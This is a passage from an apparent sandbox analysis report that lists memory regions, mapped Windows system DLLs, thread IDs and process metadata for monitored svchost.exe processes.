	          end_va = 0x7ffbff95ffff
	     entry_point = 0x7ffbff940000
	     region_type = mapped_file
	            name = "umpnpmgr.dll"
	        filename = "\\Windows\\System32\\umpnpmgr.dll" (normalized: "c:\\windows\\system32\\umpnpmgr.dll")

Region:
	              id = 1412
	        start_va = 0x7ffbffd20000
	          end_va = 0x7ffbffd77fff
	     entry_point = 0x7ffbffd20000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 1413
	        start_va = 0x7ffbffdc0000
	          end_va = 0x7ffbffdf2fff
	     entry_point = 0x7ffbffdc0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 1414
	        start_va = 0x7ffbffeb0000
	          end_va = 0x7ffbffecefff
	     entry_point = 0x7ffbffeb0000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 1415
	        start_va = 0x7ffc00170000
	          end_va = 0x7ffc00186fff
	     entry_point = 0x7ffc00170000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 1416
	        start_va = 0x7ffc002e0000
	          end_va = 0x7ffc002eafff
	     entry_point = 0x7ffc002e0000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 1417
	        start_va = 0x7ffc004c0000
	          end_va = 0x7ffc004ebfff
	     entry_point = 0x7ffc004c0000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 1418
	        start_va = 0x7ffc00690000
	          end_va = 0x7ffc006a9fff
	     entry_point = 0x7ffc00690000
	     region_type = mapped_file
	            name = "eventaggregation.dll"
	        filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll")

Region:
	              id = 1419
	        start_va = 0x7ffc006c0000
	          end_va = 0x7ffc006e7fff
	     entry_point = 0x7ffc006c0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 1420
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 1421
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 1422
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 1423
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 1424
	        start_va = 0x7ffc00f70000
	          end_va = 0x7ffc00fb3fff
	     entry_point = 0x7ffc00f70000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 1425
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1426
	        start_va = 0x7ffc01540000
	          end_va = 0x7ffc015e4fff
	     entry_point = 0x7ffc01540000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 1427
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1428
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 1429
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1430
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1431
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1432
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1433
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1434
	        start_va = 0x7ffc03b40000
	          end_va = 0x7ffc03baefff
	     entry_point = 0x7ffc03b40000
	     region_type = mapped_file
	            name = "coml2.dll"
	        filename = "\\Windows\\System32\\coml2.dll" (normalized: "c:\\windows\\system32\\coml2.dll")

Region:
	              id = 1435
	        start_va = 0x7ffc03bb0000
	          end_va = 0x7ffc03cf0fff
	     entry_point = 0x7ffc03bb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 1436
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 1437
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1438
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 3875
	        start_va = 0x7ffbf75a0000
	          end_va = 0x7ffbf75b2fff
	     entry_point = 0x7ffbf75a0000
	     region_type = mapped_file
	            name = "srumapi.dll"
	        filename = "\\Windows\\System32\\srumapi.dll" (normalized: "c:\\windows\\system32\\srumapi.dll")


Thread:
	id = 218
	os_tid = 0xb50


Thread:
	id = 219
	os_tid = 0xb10


Thread:
	id = 220
	os_tid = 0x298


Thread:
	id = 221
	os_tid = 0x278


Thread:
	id = 222
	os_tid = 0x604


Thread:
	id = 223
	os_tid = 0x828


Thread:
	id = 224
	os_tid = 0x96c


Thread:
	id = 225
	os_tid = 0x684


Thread:
	id = 226
	os_tid = 0x4d8


Thread:
	id = 227
	os_tid = 0x4a4


Thread:
	id = 228
	os_tid = 0x5d4


Thread:
	id = 229
	os_tid = 0x5d0


Thread:
	id = 230
	os_tid = 0x3f0


Thread:
	id = 231
	os_tid = 0x3e0


Thread:
	id = 232
	os_tid = 0x314


Thread:
	id = 233
	os_tid = 0x304


Thread:
	id = 234
	os_tid = 0x2e8


Thread:
	id = 235
	os_tid = 0x2e4


Thread:
	id = 236
	os_tid = 0x2b0


Thread:
	id = 237
	os_tid = 0x2ac


Thread:
	id = 238
	os_tid = 0x288


Thread:
	id = 239
	os_tid = 0x270


Thread:
	id = 240
	os_tid = 0x25c


Thread:
	id = 241
	os_tid = 0x24c


Thread:
	id = 460
	os_tid = 0x65c


Thread:
	id = 467
	os_tid = 0xf20


Thread:
	id = 473
	os_tid = 0xfd8


Thread:
	id = 476
	os_tid = 0x2ec


Process:
	id = "10"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x28780000"
	os_pid = "0x268"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0x1e4"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k RPCSS"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Network Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\RpcEptMapper" [0xe], "NT SERVICE\\RpcSs" [0xa], "NT AUTHORITY\\Logon Session 00000000:00008f31" [0xc000000f], "LOCAL" [0x7]

Region:
	              id = 1210
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1211
	        start_va = 0x4a64a20000
	          end_va = 0x4a64a2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004a64a20000"
	        filename = ""

Region:
	              id = 1212
	        start_va = 0x4a64a30000
	          end_va = 0x4a64a32fff
	     entry_point = 0x4a64a30000
	     region_type = mapped_file
	            name = "mswsock.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui")

Region:
	              id = 1213
	        start_va = 0x4a64a40000
	          end_va = 0x4a64a53fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004a64a40000"
	        filename = ""

Region:
	              id = 1214
	        start_va = 0x4a64a60000
	          end_va = 0x4a64adffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a64a60000"
	        filename = ""

Region:
	              id = 1215
	        start_va = 0x4a64ae0000
	          end_va = 0x4a64ae3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004a64ae0000"
	        filename = ""

Region:
	              id = 1216
	        start_va = 0x4a64af0000
	          end_va = 0x4a64af0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004a64af0000"
	        filename = ""

Region:
	              id = 1217
	        start_va = 0x4a64b00000
	          end_va = 0x4a64b01fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a64b00000"
	        filename = ""

Region:
	              id = 1218
	        start_va = 0x4a64b10000
	          end_va = 0x4a64bcdfff
	     entry_point = 0x4a64b10000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1219
	        start_va = 0x4a64c50000
	          end_va = 0x4a64ccffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a64c50000"
	        filename = ""

Region:
	              id = 1220
	        start_va = 0x4a64cd0000
	          end_va = 0x4a64cd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a64cd0000"
	        filename = ""

Region:
	              id = 1221
	        start_va = 0x4a64ce0000
	          end_va = 0x4a64ce0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004a64ce0000"
	        filename = ""

Region:
	              id = 1222
	        start_va = 0x4a64cf0000
	          end_va = 0x4a64cf0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004a64cf0000"
	        filename = ""

Region:
	              id = 1223
	        start_va = 0x4a64d00000
	          end_va = 0x4a64dfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a64d00000"
	        filename = ""

Region:
	              id = 1224
	        start_va = 0x4a64e00000
	          end_va = 0x4a64efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a64e00000"
	        filename = ""

Region:
	              id = 1225
	        start_va = 0x4a64f00000
	          end_va = 0x4a64ffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a64f00000"
	        filename = ""

Region:
	              id = 1226
	        start_va = 0x4a65000000
	          end_va = 0x4a650fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a65000000"
	        filename = ""

Region:
	              id = 1227
	        start_va = 0x4a651c0000
	          end_va = 0x4a651c6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a651c0000"
	        filename = ""

Region:
	              id = 1228
	        start_va = 0x4a65200000
	          end_va = 0x4a652fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a65200000"
	        filename = ""

Region:
	              id = 1229
	        start_va = 0x4a65300000
	          end_va = 0x4a65636fff
	     entry_point = 0x4a65300000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1230
	        start_va = 0x4a65640000
	          end_va = 0x4a6573ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a65640000"
	        filename = ""

Region:
	              id = 1231
	        start_va = 0x4a65740000
	          end_va = 0x4a6583ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a65740000"
	        filename = ""

Region:
	              id = 1232
	        start_va = 0x4a65940000
	          end_va = 0x4a65a3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a65940000"
	        filename = ""

Region:
	              id = 1233
	        start_va = 0x4a65a40000
	          end_va = 0x4a65b3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a65a40000"
	        filename = ""

Region:
	              id = 1234
	        start_va = 0x4a65b40000
	          end_va = 0x4a65c3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a65b40000"
	        filename = ""

Region:
	              id = 1235
	        start_va = 0x4a65d00000
	          end_va = 0x4a65dfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a65d00000"
	        filename = ""

Region:
	              id = 1236
	        start_va = 0x4a65e00000
	          end_va = 0x4a65efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a65e00000"
	        filename = ""

Region:
	              id = 1237
	        start_va = 0x4a65f00000
	          end_va = 0x4a65ffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a65f00000"
	        filename = ""

Region:
	              id = 1238
	        start_va = 0x4a66000000
	          end_va = 0x4a660fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004a66000000"
	        filename = ""

Region:
	              id = 1239
	        start_va = 0x7df5ffd20000
	          end_va = 0x7ff5ffd1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ffd20000"
	        filename = ""

Region:
	              id = 1240
	        start_va = 0x7ff7b33dc000
	          end_va = 0x7ff7b33ddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b33dc000"
	        filename = ""

Region:
	              id = 1241
	        start_va = 0x7ff7b33de000
	          end_va = 0x7ff7b33dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b33de000"
	        filename = ""

Region:
	              id = 1242
	        start_va = 0x7ff7b33e0000
	          end_va = 0x7ff7b33e1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b33e0000"
	        filename = ""

Region:
	              id = 1243
	        start_va = 0x7ff7b33e2000
	          end_va = 0x7ff7b33e3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b33e2000"
	        filename = ""

Region:
	              id = 1244
	        start_va = 0x7ff7b33e4000
	          end_va = 0x7ff7b33e5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b33e4000"
	        filename = ""

Region:
	              id = 1245
	        start_va = 0x7ff7b33e6000
	          end_va = 0x7ff7b33e7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b33e6000"
	        filename = ""

Region:
	              id = 1246
	        start_va = 0x7ff7b33ea000
	          end_va = 0x7ff7b33ebfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b33ea000"
	        filename = ""

Region:
	              id = 1247
	        start_va = 0x7ff7b33ec000
	          end_va = 0x7ff7b33edfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b33ec000"
	        filename = ""

Region:
	              id = 1248
	        start_va = 0x7ff7b33ee000
	          end_va = 0x7ff7b33effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b33ee000"
	        filename = ""

Region:
	              id = 1249
	        start_va = 0x7ff7b33f0000
	          end_va = 0x7ff7b34effff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b33f0000"
	        filename = ""

Region:
	              id = 1250
	        start_va = 0x7ff7b34f0000
	          end_va = 0x7ff7b3512fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b34f0000"
	        filename = ""

Region:
	              id = 1251
	        start_va = 0x7ff7b3514000
	          end_va = 0x7ff7b3515fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3514000"
	        filename = ""

Region:
	              id = 1252
	        start_va = 0x7ff7b3516000
	          end_va = 0x7ff7b3517fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3516000"
	        filename = ""

Region:
	              id = 1253
	        start_va = 0x7ff7b3518000
	          end_va = 0x7ff7b3519fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3518000"
	        filename = ""

Region:
	              id = 1254
	        start_va = 0x7ff7b351c000
	          end_va = 0x7ff7b351cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b351c000"
	        filename = ""

Region:
	              id = 1255
	        start_va = 0x7ff7b351e000
	          end_va = 0x7ff7b351ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b351e000"
	        filename = ""

Region:
	              id = 1256
	        start_va = 0x7ff7b3dc0000
	          end_va = 0x7ff7b3dccfff
	     entry_point = 0x7ff7b3dc0000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 1257
	        start_va = 0x7ffbf4cc0000
	          end_va = 0x7ffbf4cd5fff
	     entry_point = 0x7ffbf4cc0000
	     region_type = mapped_file
	            name = "capauthz.dll"
	        filename = "\\Windows\\System32\\capauthz.dll" (normalized: "c:\\windows\\system32\\capauthz.dll")

Region:
	              id = 1258
	        start_va = 0x7ffbfced0000
	          end_va = 0x7ffbfcf37fff
	     entry_point = 0x7ffbfced0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 1259
	        start_va = 0x7ffbfd180000
	          end_va = 0x7ffbfd18ffff
	     entry_point = 0x7ffbfd180000
	     region_type = mapped_file
	            name = "usermgrcli.dll"
	        filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll")

Region:
	              id = 1260
	        start_va = 0x7ffbfe5c0000
	          end_va = 0x7ffbfe5d2fff
	     entry_point = 0x7ffbfe5c0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 1261
	        start_va = 0x7ffbff5d0000
	          end_va = 0x7ffbff601fff
	     entry_point = 0x7ffbff5d0000
	     region_type = mapped_file
	            name = "fwbase.dll"
	        filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll")

Region:
	              id = 1262
	        start_va = 0x7ffbff610000
	          end_va = 0x7ffbff691fff
	     entry_point = 0x7ffbff610000
	     region_type = mapped_file
	            name = "firewallapi.dll"
	        filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll")

Region:
	              id = 1263
	        start_va = 0x7ffbff6a0000
	          end_va = 0x7ffbff6b2fff
	     entry_point = 0x7ffbff6a0000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 1264
	        start_va = 0x7ffbff6c0000
	          end_va = 0x7ffbff6d6fff
	     entry_point = 0x7ffbff6c0000
	     region_type = mapped_file
	            name = "rpcepmap.dll"
	        filename = "\\Windows\\System32\\RpcEpMap.dll" (normalized: "c:\\windows\\system32\\rpcepmap.dll")

Region:
	              id = 1265
	        start_va = 0x7ffbff6e0000
	          end_va = 0x7ffbff7bafff
	     entry_point = 0x7ffbff6e0000
	     region_type = mapped_file
	            name = "rpcss.dll"
	        filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll")

Region:
	              id = 1266
	        start_va = 0x7ffbffd20000
	          end_va = 0x7ffbffd77fff
	     entry_point = 0x7ffbffd20000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 1267
	        start_va = 0x7ffbffdc0000
	          end_va = 0x7ffbffdf2fff
	     entry_point = 0x7ffbffdc0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 1268
	        start_va = 0x7ffc00110000
	          end_va = 0x7ffc0016cfff
	     entry_point = 0x7ffc00110000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 1269
	        start_va = 0x7ffc00170000
	          end_va = 0x7ffc00186fff
	     entry_point = 0x7ffc00170000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 1270
	        start_va = 0x7ffc002e0000
	          end_va = 0x7ffc002eafff
	     entry_point = 0x7ffc002e0000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 1271
	        start_va = 0x7ffc004c0000
	          end_va = 0x7ffc004ebfff
	     entry_point = 0x7ffc004c0000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 1272
	        start_va = 0x7ffc006c0000
	          end_va = 0x7ffc006e7fff
	     entry_point = 0x7ffc006c0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 1273
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 1274
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 1275
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 1276
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1277
	        start_va = 0x7ffc01540000
	          end_va = 0x7ffc015e4fff
	     entry_point = 0x7ffc01540000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 1278
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1279
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 1280
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1281
	        start_va = 0x7ffc02050000
	          end_va = 0x7ffc02057fff
	     entry_point = 0x7ffc02050000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 1282
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1283
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1284
	        start_va = 0x7ffc03980000
	          end_va = 0x7ffc039e8fff
	     entry_point = 0x7ffc03980000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 1285
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1286
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")


Thread:
	id = 242
	os_tid = 0xa24


Thread:
	id = 243
	os_tid = 0x9c8


Thread:
	id = 244
	os_tid = 0x86c


Thread:
	id = 245
	os_tid = 0x6b0


Thread:
	id = 246
	os_tid = 0x5fc


Thread:
	id = 247
	os_tid = 0x3f4


Thread:
	id = 248
	os_tid = 0x334


Thread:
	id = 249
	os_tid = 0x2a4


Thread:
	id = 250
	os_tid = 0x29c


Thread:
	id = 251
	os_tid = 0x290


Thread:
	id = 252
	os_tid = 0x28c


Thread:
	id = 253
	os_tid = 0x284


Thread:
	id = 254
	os_tid = 0x26c


Process:
	id = "11"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x54b20000"
	os_pid = "0x324"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0x1e4"
